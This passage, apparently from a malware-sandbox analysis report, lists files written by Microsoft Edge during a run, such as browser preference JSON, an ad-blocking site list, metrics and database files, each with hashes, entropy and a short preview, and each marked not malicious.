Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376892036263982","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"c36d5f0b-7fbc-4176-ab13-fa502ba06f75"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732418440"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1036c524-4b3c-4291-beb4-509d710fbc39.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46503
Entropy (8bit):	6.087236163190835
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQc5TKjuni1zNtmRFPSL0xIQmxgpCio0JDSgzMMd6qD47u30U:ZMk1rT8HrKsRNIQ9Fo0tSmd6qE7O
MD5:	418B4045298F746EE7E4D53ABD947C7D
SHA1:	81824AE9017D0936A545EBB72D1679965FAECCDF
SHA-256:	109F02FD7146F767EACC6D5F2E7CA9664584E5707E11ACAB0391961CA580C86A
SHA-512:	E20A00ABA836E02B0C3D6C5887A9970D5E61DF94A2C9906DCCD52FE7005A55A9EB956D8A4AA97F55A29236F2B94B13B8DA4A84905EF4A3415CF34BD76583C515
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376892036263982","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"c36d5f0b-7fbc-4176-ab13-fa502ba06f75"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732418440"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\274a859b-d6cd-402e-b8f5-a73b2e6ea248.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44988
Entropy (8bit):	6.095626118717557
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWOci1zNtmR49PSL0xKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOiR4VKtSmd6qE7lFoC
MD5:	0269A0B9A6AF38D2C06B8F1D8744B9EA
SHA1:	4FF0A59E8A4AE7A79BAE523FE31441A524830B75
SHA-256:	0E3FFADCBFE73BE1D1EEC0782649AE2096E631CFC09969D792FA6C54CB1E7BB0
SHA-512:	6257A64964E52E7437F20F44C48CB5A3AEF1692A146FEC0CE70EAD67E9CF1E59676F9C44C08F4B474BF675DC3B5C31C3A58125C50E7F71E52D3E3AC5CF2C01CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3fa27178-0119-4fa6-baa0-fc03f931ec37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.095874759121539
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWyci1zNtmR4Nis5lcKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynaR42KtSmd6qE7lFoC
MD5:	DF62C8F21BE595F4485A9555486C51CF
SHA1:	09033F015B2BAA55AA5D8B90D516AA421077E2D8
SHA-256:	F524872718FC1C50428EC50E9ADC67E7F445051E40438612AC43E08242D1894D
SHA-512:	28308AE90608B9B0F7D7FDC563786F5F1F18F7A9FB655F0A1B2774FB672ACBF2AD0CD74D1D02DFF7D0B78B97A3B13C8E5AB1CBC089F74DCCCE2350E75E55F6C3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8437c07c-4909-442f-972e-1af5c530363a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46503
Entropy (8bit):	6.087239206127578
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQc5T9juni1zNtmRFPSL0xIQmxgpCio0JDSgzMMd6qD47u30U:ZMk1rT8Hr9sRNIQ9Fo0tSmd6qE7O
MD5:	B592617167D74371CCDDB888A81B0CC4
SHA1:	CE3E3E632BE7C19A7AD8FB0F104B7F314DB24866
SHA-256:	74AE4DADC0921081D4FD6A7606D2E19A2DD6D0E176A2DA177FF853BFF93FB14A
SHA-512:	B8F85A73AD84A1D30FE843D8EBE6930FCF8C58C79C73BB309340436955FB8F84F01C5107ACEB496B5BA3176A5F5BBF5331EF79E4D025AAB36586581C89DC7634
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376892036263982","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"c36d5f0b-7fbc-4176-ab13-fa502ba06f75"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732418440"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\66c9d6dc-72d1-4da7-a862-f40aa4e14ff9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67429B83-684.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45373381836353044
Encrypted:	false
SSDEEP:	3072:KcdqTHNBwvn0WRlAr7ca3czE+hAIFnnhR89fzQNLqqrFUZg1HFWC:xqTMvir7b3czFzdhRSzWqqrFUZaH7
MD5:	74D052A59A5C88CD3B245032A44D2D1E
SHA1:	1A8A234466C6588A24AD9C0F7467BB9C9EFE693F
SHA-256:	EBDDD5DCDCAD22AC0FA89E8464B967FD485FB7ADADD5BD304D573B8F057253DE
SHA-512:	6B4A480C17BE15B00891AFAC7C088A0EAFA5D52B34E1AEE832B73C372E389A6F6759AAD51281B4C265DBCB99CE8D9E26AB7E42B18C26D125A8F840FCA2B0ED63
Malicious:	false
Preview:	...@..@...@.....C.].....@...............x...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ovxbtq20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\08b36fed-69a7-40d1-a669-84919e605d01.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\13270550-9476-4768-aefe-fe6c0eba144d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.113883629565897
Encrypted:	false
SSDEEP:	192:stbkdpFVsbkaFvrE9kfMzib8kbV+FjUQArUuPcYJ:stbQFVsbkCDbbGoQRW
MD5:	17563CAB6C0E4F4CB2E5CE35E6239763
SHA1:	24A1C8C165DA9AED1792DD73205741BFAB83ED6D
SHA-256:	C26557F8C55DEDF31EBB3BCBC6BF2C7FF623F7C13DD17454757E7EC839F829DB
SHA-512:	4799ABF906D6DD52D3C766524F94E8AB04E1E81AE15AB4745056DA36497717451900D264B2E35A51AB641957BB8CB82A777B581310E21EE76A4E4DA6EFCF1C3B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892036062038","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\20f6f1af-33da-4c06-98b6-b5a218280b17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567846834915916
Encrypted:	false
SSDEEP:	768:YUQa5kWnjW5w7Hf4dY8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPokISfThrwX+bCpg+:YrSkWjWa7HfEYu1jaZMLSubRtI
MD5:	7C1DBB7CDED95F028BFCEB325B5B7F58
SHA1:	B56F68B22BBFEA00E603F795B6AF263412D709E9
SHA-256:	A790E330381CEA919AA8F2F044000B12F6E36C52C5BDD39CAACF2EB060167465
SHA-512:	3BDE7DDB0F4D9F395078627453C2A7CE15CD066B05B68AF759466F561673854203BEBAD3684C3329F6F77FFBE02728DA0511ED7808B4E07CE3CC655BCA61737F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376892035583316","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376892035583316","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2d8f0b1d-ad48-408a-bb35-938f213b24d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17589), with no line terminators
Category:	dropped
Size (bytes):	17593
Entropy (8bit):	5.487956959920745
Encrypted:	false
SSDEEP:	384:stbPGQSu4FVsbkCD6QZtXCi5DDbGoQw23W:sJOXujkCdbG3rW
MD5:	2A28F4F3B4486F80ED9F4FF66CCA035A
SHA1:	EDBF476072D5E94225609269B7EF448CB755AB41
SHA-256:	86FED56A9B38AD5264109989F41C74D44D48F61D2EC7F74C618675CEB70730E4
SHA-512:	CFF975B627E398BE0C5BE67D262605CB862F172BD06CB6245D077EEE1AB59799521C55DD09A192F74E0D9398A149FC7E1769DD043F51C2B67B938AE3FEBBEBC5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892036062038","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8a4bfd4c-5113-4132-be49-c118f176818e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
